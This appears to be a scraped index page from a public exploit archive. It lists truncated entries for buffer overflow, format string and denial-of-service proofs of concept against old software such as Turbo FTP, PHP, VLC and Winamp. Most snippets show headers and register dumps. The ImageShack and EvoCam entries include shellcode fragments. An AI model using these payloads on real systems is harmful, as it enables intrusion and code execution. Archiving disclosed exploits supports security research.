Turbo FTP Server 1.30.823 PORT Overflow

This Metasploit module exploits a buffer overflow vulnerability found in the PORT command in Turbo FTP Server versions 1.30.823 and 1.30.826, which results in remote code execution under the context of SYSTEM. This file is part of the Metasploit Framework and may be subject to redistribution and...

PHP 6.0 openssl_verify() Local Buffer Overflow PoC

No description provided by source. ?php // ================================================================================== // // PHP 6.0 opensslverify Local Buffer Overflow PoC // // Tested on WIN XP, Apache, PHP 6.0dev. Local Buffer Overflow. // // Local Buffer Overflow // Author: Pr0T3cT10n...

PHP 6.0 - 'openssl_verify()' Local Buffer Overflow (PoC)

// // ================================================================================== // // REGISTERS: // EAX 000003D0, ECX 00BBDB28, EDX 00BBDAD8 // EBX 00BBC940, ESP 0012FB5C UNICODE "AAA...." // ESI 00BBC940, EDI 00831D00, EBP 0012FBF0 UNICODE "AAA...." // EIP 00410041 // //...

PHP 5.4.3 - 'com_event_sink' Denial of Service

?php / PHP = 5.4.3 comeventsink Code Execution Proof of Concept Found by condis Website: http://cond.psychodela.pl Tested on: PHP 5.3.8 + Windows XP SP3 Professional PL PHP 5.3.10 + Windows XP SP3 Professional PL PHP 5.4.0 + Windows XP SP3 Professional PL PHP 5.4.3 + Windows XP SP3 Professional P...

VLC (libtaglib_plugin.dll) divide by zero DOS

No description provided by source. import binascii print '\n\n' print '' print ' VLC libtaglibplugin.dll divide by zero DOS ' print ' Tested on : Windows 7 and XP sp3 ' print ' VLC verion : 1.2.0 and 1.1.11 possibly lower ' print ' Author : nomnom ' print ' Date : 1/19/2012 ' print ' - shouts to...

Xilisoft Video Converter Ultimate (.au) PoC Exploit

Exploit for windows platform in category dos / poc !/usr/bin/perl --------- Xilisoft Video Converter Ultimate .au Proof Of Concept Exploit Author : KedAns-Dz special thanks to : josalijoe exploit-id.com , and All exploit-id Team --------- Tested in Windows XP sp3 France Creating The Bad File .AU...

Media Player Classic 6.4.9.1 Denial Of Service

!/usr/bin/perl --------- Media Player Classic v6.4.9.1 .au Proof Of Concept Exploit Author : KedAns-Dz special thanks to : josalijoe exploit-id.com , and All exploit-id Team --------- Tested in Windows XP sp3 France Creating The Bad File .AU And Opening ... Stack Fram : quartz.dll ! 7486e82c ! Po...

HP OpenView Network Node Manager ovwebsnmpsrv.exe Unrecognized Option Buffer Overflow

$Id: hpnnmovwebsnmpsrvuro.rb 12095 2011-03-23 15:43:25Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

CoolPlayer 2.18 DEP Bypass

Exploit for windows platform in category local exploits Exploit Title: CoolPlayer 2.18 DEP Bypass Date: January 2, 2011 Author: Blake Version: 2.18 Tested on: Windows XP SP3 running in Virtualbox Uses SetProcessDEPPolicy to disable DEP for the process Thanks to mrme for the encouragement Exploit-...

ImageShack Toolbar 4.8.3.75 Code Execution

// calc.exe var shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u84...

ImageShack Toolbar 4.8.3.75 - Remote Code Execution

// calc.exe var shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+...

Apple Mac OSX EvoCam Web Server (Snow Leopard) - ROP Remote Overflow

Apple Mac OSX EvoCam Web Server Snow Leopard - ROP Remote Overflow !/usr/bin/python EvoCam Web Server OSX 3.6.6 and 3.6.7 import socket import struct SHELL = "\xdb\xd2\x29\xc9\xb1\x27\xbf\xb1\xd5\xb6\xd3\xd9\x74\x24" "\xf4\x5a\x83\xea\xfc\x31\x7a\x14\x03\x7a\xa5\x37\x43\xe2"...

Wincalc 2 Local Buffer Overflow

Exploit Title : Wincalc 2 .num local Buffer Overflow Poc tested on windows xp SP 3 FR Author: MadjiX - Dz8atHotmaiLdotCoM download: http://math.exeter.edu/rparris/peanut/wcru32z.exe Special Greets:Bibi-info , His0k4 where are you : EAX 00000001 ECX 41414141 EDX 00000000 EBX 0046EE18 ESP 0012F868...

All To All Audio Converter Stack Overflow

! /usr/bin/python All to All Audio Convertor files stack overflow poc Homepage: http://www.atoasoft.com/ Credit : ItSecTeam mail : [email protected] Web: WwW.ITSecTeam.com Forum: WwW.forum.itsecteam.com Special Tanks : PLATEN - [email protected] - B3hz4d - Cdef3nder EAX 10624DD3 ECX 00000000 EDX 012200C0...

All to All Audio Convertor 2.0 - Files Stack Overflow (PoC)

All to All Audio Convertor 2.0 - Files Stack Overflow PoC ! /usr/bin/python All to All Audio Convertor files stack overflow poc Credit : ItSecTeam mail : [email protected] Web: WwW.ITSecTeam.com Forum: WwW.forum.itsecteam.com Special Tanks : PLATEN - [email protected] - B3hz4d - Cdef3nder EAX 10624DD3 ECX...

WM Downloader 3.0.0.9 - PLS WMDownloader (PoC)

WM Downloader 3.0.0.9 - PLS WMDownloader PoC !/usr/bin/perl JIKO =JAWAD Thanx To All Friends : Cyber-Zone , Stack , ZoRLu , Hussin X , Mag!c ompo ,Sad Hacker ,Strock ... All MoroCCaN HaCkerS No-Exploit.com EAX 00000000 ECX 41414141 EDX 000008C3 EBX 000FBBD4 ASCII "F:\perso\test\tool\jiko.pls" ESP...

Winamp 5.572 - whatsnew.txt Stack Overflow (PoC)

Winamp 5.572 - whatsnew.txt Stack Overflow PoC Author: Debug [email protected] Version: 5.572 Tested on: Windows xpsp2 !/usr/bin/perl Replace whatsnew.txt , open Winamp click Help-about winamp- version history. hacking.org.il. EAX 00000000 ECX 00000000 EDX 00661658 EBX 00000000 ESP 00B7EDE8 ASCII...

RadASM 2.2.1.5 Format String

RadASM 2.2.1.5 .mnu File Format string Poc By SkuLL-HacKeR GreetZ : hack4love - Aser ro7 - ThE g0bL!N - Qabandi EAX 00002E2E ECX 41413D92 ECX overwrited EDX 00000002 EBX 00000000 ESP 0013F894 EBP 0013F9AC ASCII "..................................................................." ESI 00187658 ASC...

RadASM 2.2.1.5 (.mnu File) Local Format String PoC

No description provided by source. RadASM 2.2.1.5 .mnu File Format string Poc By SkuLL-HacKeR GreetZ : hack4love - Aser ro7 - ThE g0bL!N - Qabandi EAX 00002E2E ECX 41413D92 ECX overwrited EDX 00000002 EBX 00000000 ESP 0013F894 EBP 0013F9AC ASCII...

RadASM 2.2.1.5 - '.mnu' Local Format String (PoC)

RadASM 2.2.1.5 .mnu File Format string Poc By SkuLL-HacKeR GreetZ : hack4love - Aser ro7 - ThE g0bL!N - Qabandi EAX 00002E2E ECX 41413D92 ECX overwrited EDX 00000002 EBX 00000000 ESP 0013F894 EBP 0013F9AC ASCII "..................................................................." ESI 00187658 ASC...